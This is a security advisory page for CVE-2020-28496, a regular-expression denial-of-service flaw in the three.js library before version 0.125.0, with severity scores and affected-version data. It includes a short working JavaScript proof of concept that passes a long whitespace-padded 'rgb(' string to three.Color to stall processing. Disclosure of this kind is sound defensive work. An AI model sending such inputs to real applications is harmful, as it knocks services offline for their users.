CVE-2020-28496 Regular Expression Denial of Service (ReDoS)

2021-02-1800:00:00

snyk

www.cve.org

7.5 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

0.003 Low

EPSS

Percentile

70.5%

JSON

This affects the package three before 0.125.0. This can happen when handling rgb or hsl colors. PoC: var three = require(‘three’) function build_blank (n) { var ret = “rgb(” for (var i = 0; i < n; i++) { ret += " " } return ret + “”; } var Color = three.Color var time = Date.now(); new Color(build_blank(50000)) var time_cost = Date.now() - time; console.log(time_cost+" ms")

CNA Affected

[
  {
    "product": "three",
    "vendor": "n/a",
    "versions": [
      {
        "lessThan": "0.125.0",
        "status": "affected",
        "version": "unspecified",
        "versionType": "custom"
      }
    ]
  }
]